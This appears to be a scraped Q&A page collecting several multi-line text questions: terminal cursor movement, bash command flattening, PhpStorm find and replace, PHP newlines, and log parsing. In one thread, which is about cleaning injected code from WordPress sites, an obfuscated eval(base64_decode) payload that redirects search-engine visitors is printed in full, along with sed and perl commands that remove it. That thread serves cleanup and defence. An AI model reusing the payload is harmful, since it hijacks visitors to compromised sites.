In a terminal, if I'm outputting a one-line progress indicator of some sort, in-place, \r would do the trick:
while (1) { echo "progress indication\r"; }
However, I have a progress indicator that really should be multi-line. As \r only returns to the start of the current line, I want something that can move up a couple of lines. Is there a control character/function that allows me to step back lines in the terminal?
Edit: in case I wasn't completely clear, I wish to have something roughly the opposite of \v, the vertical tab, which moves the terminal cursor down a line.
There is no control character to go back onto the previous line, but depending on the TERM= type a ANSI escape might do the trick.
echo -e "\033[2A"
Here's a list that might be more helpful: http://en.wikipedia.org/wiki/ANSI_escape_code and for usage in the shell http://www.linuxselfhelp.com/howtos/Bash-Prompt/Bash-Prompt-HOWTO-6.html
Related
I am in a situation where I need to take a (potentially) multi-string bash command and squash it into one string that doesn't contain any newline or carriage return characters (yet produces the same result, i.e. command semantics must not be affected).
Below are a few examples of inputs and corresponding expected outputs.
INPUT:
echo A
echo B
EXPECTED OUTPUT:
echo A;echo B
INPUT
echo "continued
string"
echo "other"
EXPECTED OUTPUT:
echo "continued"$'\n'"string";echo "other"
INPUT
cat file1 \
file2 \
file3
EXPECTED OUTPUT:
cat file1 file2 file3
INPUT
for f in `pwd`/*
do
{ echo A; echo B
echo C; echo D; }
done
EXPECTED OUTPUT:
for f in `pwd`/*; do { echo A; echo B; echo C; echo D; }; done
And so on. Obviously I cannot just
preg_replace('/[\r\n]+/', ';', $input);
because shell supports compound commands and command lists, multiline strings, multiline command continuation operator ('\') and many more. Seems like I have no other way but to tokenize the input command and go from there. My bash knowledge is mediocre so there may be cases that I missed and they need to be handled by the solution as well.
Is there an existing PHP library or package (I have searched packagist to no avail) that would help me get closer to my goal? If no, how would you approach this challenge (no need to write code, just point a finger in a right direction).
As a desperate fallback I'll have to resort to porting the bash source code itself, but I really hope that someone will suggest a shortcut.
Trying to create a parser for bash is very ambitious (and ambiguous) project . Bash is constantly evolving, and in certain areas, push the boundary beyond the POSIX standard. Consider scaling down the project - may be target the Posix shell (which will cover many shell variant: dash, ash, ...).
Consider starting with https://pubs.opengroup.org/onlinepubs/9699919799/ It identifies few quoting options. If you implement those carefully, your approach (replacing end-of-lines with ';' may work).
Another alternative will be to start with bash syntax highlighter, for example the vim highlighter. (/usr/share/vim/vimNN/syntax/sh.vim, where NN is vim version).
In PhpStorm 2016.2 I have a new project that has been inherited and [badly] needs updating.
There are many pages each with opening line like so (example):
<?
include ("/inc/db.php");
I need to replace this line with several lines such as:
<?php
include "siteheader.php";
require "class.myclass.inc.php";
$dataBase = new DbObj();
I have previously simply copy and pasted multiline code into the PhpStorm search/replace function and that's (usually but not always) returned the correct changes, although they're all squished into single lines, making them harder to read (EOL characters are removed).
In this instance am looking specifically at the "replace in path" function as I need to apply this change to many pages.
I have Read the manual but can see no option for this. I think I could possibly use a Regular Expression but this would not be ideal (escapings etc.).
I have also looked but not found a suitable plugin from the PhpStorm Plugin Repository.
Is there a way of searching and/or replacing multiline text in path in PhpStorm 2016.2?
Cheers
There is no easy to use multi-line search or replace across multiple files (Find/Replace in Path functionality) unfortunately.
Right now you have to use Regex option for that -- that's the only option that works.
Watch these tickets (star/vote/comment) to get notified on any progress in this regard.
https://youtrack.jetbrains.com/issue/IDEA-69435
https://youtrack.jetbrains.com/issue/IDEA-61925
https://youtrack.jetbrains.com/issue/IDEA-145720
Manually making regex-compatible text can be quite problematic .. therefore you might use this few-steps trick:
Type your new text in one file to start with
Select such text and invoke Replace in Path... dialog -- with Regex option pre-selected it should automatically escape your selection to be regex-compatible
Copy that already-escaped text somewhere (just Clipboard should be enough)
Close dialog and go back to original file
Select text you want to replace and invoke Replace in Path... dialog -- it will have your initial text already filled in and regex compatible
Paste previously copied escaped text into Replace field
Execute find/replacement
On related note: https://stackoverflow.com/a/38672886/783119
You can do multiline Find&Replace with Regex option turned on
Find:
<\?\ninclude \("/inc/db\.php"\);
Replace:
<?php\ninclude "siteheader.php"; \nrequire "class.myclass.inc.php"; \n\$dataBase = new DbObj();
As you can see you need to do some additional work to escape some special characters and put \n instead of new lines, but it works. I've just checked.
P.S.
Indeed, it was possible to simply paste multiline text in previous versions, but it's not possible anymore. ;-(
Type Alt+Enter to add a new line in either the "search" or the "replace" field.
On a Mac:
open the 'Find' or 'Replace' tool, click into the text area and press the following keys once for every new line you want to create:
⌘ + 'Shift' + 'Enter'
Besides the suggestions on how to use regex for multiline, in case you want to match two pieces of code with arbitrary lines in the middle, you can use [\s\S]* instead of [\n.]* (which doesn't have the expected result). Example:
//you can match the $result-related code using `\$result([\s\S]*)while`
$result = DB::exec($query);
//blabla
//something else
while ($row = $result->fetch()) {
\s works as expected to match all whitespaces and newlines.
In my case I wanted to find switch ... case ... continue; syntax, so switch(\s|.)*continue worked as expected
I'm learning PHP and writing it and executing in the browser is cumbersome.
So I write it as a script and execute it on the terminal, such as
me#machine $ php script.php
However, it seems to me, all statements are printed to the same line, if not explicitly a newline character is also printed.
<?php
echo "Hello World.\n";
?>
If I omit \n, I end up with
me#machine $ php hello_world.php
Hello World. > me#machine $
which kind of is lame.
Do I really, like really really (as in "totally really"), need to type \n for every statement I like to test?
You've got a choice:
Include a \n on the end, and have a line feed.
Leave out the \n and don't have a line feed.
It's up to you. No, you don't need to have it there, but if you want to output text to the command line, you probably do want it.
I guess there's one other alternative. Since PHP outputs content that is outside of the <?php .. ?> tags as plain text, you could just put a blank line at the end of your code after the final ?>. That will cause PHP to output a new line at the end without you needing to write \n.
But to be honest, putting the \n in your string is better coding practice. (And frankly, \n isn't exactly the worst thing in the world to having in your code. if you can't cope with the horrors of seeing \n in your code, then you're going to have a hard time reading most program code anyway... just wait to you learn Regex!!!)
No. You might write your own writeLn() function and maybe use PHP_EOL instead of \n, depending on what the script is for. (New-line string differ across systems, and PHP_EOL is your server's version of new-line, so it makes your script portable at least in regard of the running environment.)
Yes, you need to use \n to print a new line.
PHP will only print that which you tell it to print. So, if you want a new line then you need to print a new line.
Depending on your requirements.
\n is representing a new line break.
So if you are testing a single command with a single echo, from command line you might beable to go without the newline break.
If you have multiple echos, all the output will be jumbled into one long text.
function NewLine ($Text)
{
$Text = $Text."\n";
return $Text;
}
echo NewLine('This Text Will Have A New Line Appended To The End');
Trying to clean up after a slew of php injections -- every php function in about six sites worth of WordPress templates is full of junk.
I've got everything off the server, onto a local machine, and I'm hoping there should be a good way to delete all of the enormous code strings with terminal.
Of which I know approximately nothing.
http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/ had good instructions for doing a clear on the server, but substituting my path/to/folder doesn't seem to be working in terminal.
Feeling I'm close, but, blind as I am to the ways of the terminal, that doesn't seem that comforting.
Based on the above, here's what I've got -- any help would be so amazingly appreciated.
grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'
UPDATED
derobert -- thanks a million for helping with this --
basically, the space after every <?php before the actual function had this inserted into it:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
The characters change with each one, so a simple find and replace won't work (which was, I'm pretty sure, the point).
here is my code that proved as a valid solution.
I downloaded all the files to my local machine and started working on solution. Here is my solution {combination with what I goggled out}
#!/bin/bash
FILES=$(find ./ -name "*.php" -type f)
for f in $FILES
do
echo "Processing $f file LONG STRING"
sed -i 's#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));##g' $f
echo "Processing $f file SMALL STRING"
sed -i 's#eval(base64_decode.*));##g' $f
done
save it somewhere as mybash.sh {from your favourite text editor}
$ sudo chmod +x mybash.sh //execute permission for script
$ ./mybash.sh
I have used the first one LONG STRING cause the pattern is always the same. Here is the explanation for the above code
s# - starting delimiter {#-delimiter same as / as in rule for sed}
eval(base64_decode.)); { first pattern to match, Reg Exp [. - Matches any single character], [ - Matches the preceding element zero or more times]}
# - second appearance of delimiter {#}, after # is empty which basically means replace first string {eval(base64_decode.*));} WITH {''}
#g - end of command, SED syntax
So, someone got access to write to arbitrary files on your server. I assume you've cleaned up the exploit that let them in already.
The problem is, while the eval(base64_decode stuff is obvious, and has to go, the intruder could have put other stuff in there. Who knows, maybe he deleted a mysql_real_escape_string somewhere, to leave you vulnerable to future SQL injection? Or a htmlspecialchars, leaving you vulnerable to JavaScript injection? Could have done anything. Might not even be PHP; you sure no JavaScript was added? Or embeds?
The best way to be sure is to compare to a known-good copy. You do have version control and backups, right?
Otherwise, you can indeed use perl -pi -e to do a substitute on that PHP code, though matching it might be difficult, depending. This might work (work on a copy!), and adjust spacing in the regexp as needed:
perl -pi -e 's!<\?php eval\(base64_decode\(.*?\)\) \?>!!g' *.php
but really, you should review each file by hand, to confirm there are no other exploits present. Even if your last known-good copies are somewhat old, you can review the diffs.
edit:
Ok, so it sounds like you don't want to nuke the whole PHP block, just the eval line:
perl -pi -e 's!eval\(base64_decode\(.*?\)\);!!g' *.php
You may want to add a \n before the first ! if there is additionally a newline to kill, etc. If the base64 actually has newlines in it, then you will need to add s after the g.
I have a log file that looks like the following:
2010-05-12 12:23:45 Some sort of log entry
2010-05-12 01:45:12 Request XML: <RootTag>
<Element>Value</Element>
<Element>Another Value</Element>
</RootTag>
2010-05-12 01:45:32 Response XML: <ResponseRoot>
<Element>Value</Element>
</ResponseRoot>
2010-05-12 01:45:49 Another log entry
What I want to do is extract the Request and Response XML (and ultimately dump them into their own single files). I had a similar parser that used egrep but the XML was all on one line, not multiple ones like above.
The log files are also somewhat large, hitting 500-600 megs a log. Smaller logs I would read in via a PHP script and use regex matching, but the amount of memory required for such a large file would more than likely kill the script.
Is there an easy way using the built-in tools on a Linux box (CentOS in this case) to extract multiple lines or am I going to have to bite the bullet and use Perl or PHP to read in the entire file to extract it?
# Example usage:
# perl script.pl data.xml RootTag > RootTag.xml
use strict;
use warnings;
my $tag = pop;
while (<>){
if ( s/.*(<$tag>)/$1/ .. s/(<(\/)$tag>).*/$1/ ){
print;
last if $2;
}
}
See the docs for details on the flip-flop operator.
Sounds like a job for sed (I was so tempted to say SuperSed ;-)
sed -n '/^<.\+>/H; /\(Request\|Response\) XML/{s/^.*</</;x;p}; ${x;p}' xmllog
where xmllog is your log file's name. You'll get a blank line at the beginning, but that can be filtered out with egrep '.+' or even just tail -n +2.
By way of explanation, sed is a little interpreter for programs that consist of a list of matching conditions and corresponding actions. sed runs through a file line by line (hence the name, "stream editor" -> "sed") and for each line, for each condition in the program that matches the text on the line, it applies the corresponding action. In this case:
/^<.\+>/
is a regular expression condition that matches any line which contains < followed by any character (.) repeated one or more times (\+) followed by > - basically any line with an XML tag. The associated action is H which appends the line to a "hold buffer". The other condition is
/\(Request\|Response\) XML/
which, of course, is a regexp that matches either Request or Response followed by a space and then XML. The corresponding action is
{s/^.*</</;x;p}
which first does a substitution (s) of the beginning of the line (^) followed by any character (.) repeated any number of times (*) followed by <, with just <. Basically that gets rid of anything before the first XML tag on the line. Then it switches (x) the line just read with the "hold buffer" (which contains the XML of the previous log message) and prints (p) the stuff that was just swapped in from the hold buffer. Finally,
$
matches the end of the input, and {x;p} again just swaps the contents of the hold buffer into the "print buffer" and then prints it.
You can alter the command to suit your needs, for example if you need something to delimit the different records, this'll put a blank line between them:
sed -n '/^<.\+>/H; /\(Request\|Response\) XML/{s/^.*</\n</;x;p}; ${x;p}' xmllog
(in that case, of course, don't use egrep to filter out the blank line at the beginning).
Your question implies you're not thinking right; if there's a way to do what you're asking in one language (there is) ... then you can do it in any language.
There's no reason to read the entire log into memory. You just read it line by line and extract the information you want. You just need to keep a state as to where you are (not in tag, inside RootTag, inside ResponseRoot, etc) and process the data as you wish.